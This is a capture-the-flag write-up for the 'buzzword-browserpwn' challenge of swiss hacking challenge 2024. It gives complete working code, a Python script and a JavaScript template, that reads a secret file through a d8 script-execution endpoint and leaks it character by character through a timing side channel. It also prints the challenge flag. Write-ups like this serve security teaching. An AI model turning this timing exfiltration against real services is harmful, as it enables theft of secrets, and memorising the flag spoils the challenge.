swiss hacking challenge 2024 - buzzword-browserpwn

Posted on May 1, 2024

Difficulty: hard

Category: pwn

Author: muffinx

Steve from the Compliance Departement made a presentation about CYBER Security where he used all kinds of buzzwords. Like for example “Webbrowser Exploitation”, “Zero Days”, “Drive-By Downloads”, “Patch Management”, “Sandbox Escaping” he was just brabbling stuff for 2 hours and basically in conclusion you have to update your webbrowser.

The presentation of Steve was very entertaining, also he brought a nice lemon cake to the meeting.

Now suddenly Joe from the Upper Management said that we need some kind of demo, basically we need to use the same buzzwords, show people some code on the screen and press ENTER and the webbrowser is HACKED, best with some animation of a sheep saying “I got your data!”.

By the way Joe is the guy who just got engaged with Susan from HR, they are a very cute couple, I sometimes go to their karaoke nights with my wife.

So there was this intern called Simon who prepared a demo but he is busy right now auditing an small company site in Fidji, which is really weird because there are only 2 people there, but he said “its a critical site” and is auditing it now already for 2 years.

But nevertheless I am believing that Simon is doing a great job!

Can you complete the demo of Simon? Was nice talking to you, see you at the daily stand-up meeting later.

Files

There are a ton of files in this one:

buzzword-browserpwn
├── app
│   ├── app.py
│   ├── static
│   │   └── picmix.com_11206441.gif
│   └── templates
│       ├── index.html
│       └── run.html
├── d8
├── Dockerfile
├── flag
├── snapshot_blob.bin
└── vuln.patch

Exploitation

I solved this one the unintended way.

The web page allows you to upload arbitrary js that is then run using the d8 developer shell. This is where the unintended solution comes in:

We can read any file using the builtin read() function. However we can’t just read and print the flag, as we don’t get any output from the script.

Sleeping without a crash

As the engine is being run with the --no-memory-protection-keys, it becomes very unstable and crashes already with a few loops. This is bad news, as we can’t just do time-based exfiltration because there is no builtin sleep function.

However, the following approach using Atomics works just fine:

function doNothingForALongTime(milliseconds) {
  // Creating a shared buffer
  const sharedBuffer = new SharedArrayBuffer(4);
  const sharedArray = new Int32Array(sharedBuffer);

  // Calculating the end time
  const endTime = Date.now() + milliseconds;

  // Loop to keep the thread busy until the specified time has passed
  while (Date.now() < endTime) {
    // This operation blocks the executing thread for 1ms at a time
    // Adjust the time slice if necessary
    Atomics.wait(sharedArray, 0, 0, 1);
  }
}

Time-based exfiltration

I slightly adjusted my script from the lost-pass challenge of last year to get the flag:

exfil.py

import requests
import time
import jinja2

# alphabet
charset = "1234567890abcdefghijklmnopqrstuvwxyz{}_!ABCDEFGHIJKLMNOPQRSTUVWXYZ"

current_times = {}

# Function to calculate POST request time
def get_request_time(url, data, char):
    before = time.perf_counter()
    requests.post(url, data=data)
    after = time.perf_counter()
    response_time = after - before
    print(f"Time for {char}: {response_time}")
    return response_time


file_tpl = jinja2.Template(open("script.j2").read())
while True:
    idx = 0
    password = ""
    while True:
        # Get the response time for each character
        times = []
        url = "https://<instance>.ctf.m0unt41n.ch:1337/run"
        for c in charset:
            # get the time for each character 3 times and calculate the average
            current_times = []
            file = file_tpl.render(idx=idx, char=c)

            req_time = get_request_time(
                url,
                data={"js_input": file},
                char=c
            )
            times.append(req_time)
            if req_time > 0.5:
                break

        password += str(charset[times.index(max(times))])
        idx += 1
        print(password)

script.j2

function doNothingForALongTime(milliseconds) {
  // Creating a shared buffer
  const sharedBuffer = new SharedArrayBuffer(4);
  const sharedArray = new Int32Array(sharedBuffer);

  // Calculating the end time
  const endTime = Date.now() + milliseconds;

  // Loop to keep the thread busy until the specified time has passed
  while (Date.now() < endTime) {
    // This operation blocks the executing thread for 1ms at a time
    // Adjust the time slice if necessary
    Atomics.wait(sharedArray, 0, 0, 1);
  }
}

flag = read("/home/v8/flag")

if (flag[{{ idx }}] == "{{ char }}" ) {
doNothingForALongTime(2000)
}

After running the script and waiting for some time, the flag is revealed:

Flag

shc2024{chr0m3_v8_pwn3d_br0ws3r_3xpl01t4t10n}

Conclusion

I’m very glad I didn’t have to do any actual pwn in this one! Might solve it the intended way some other time.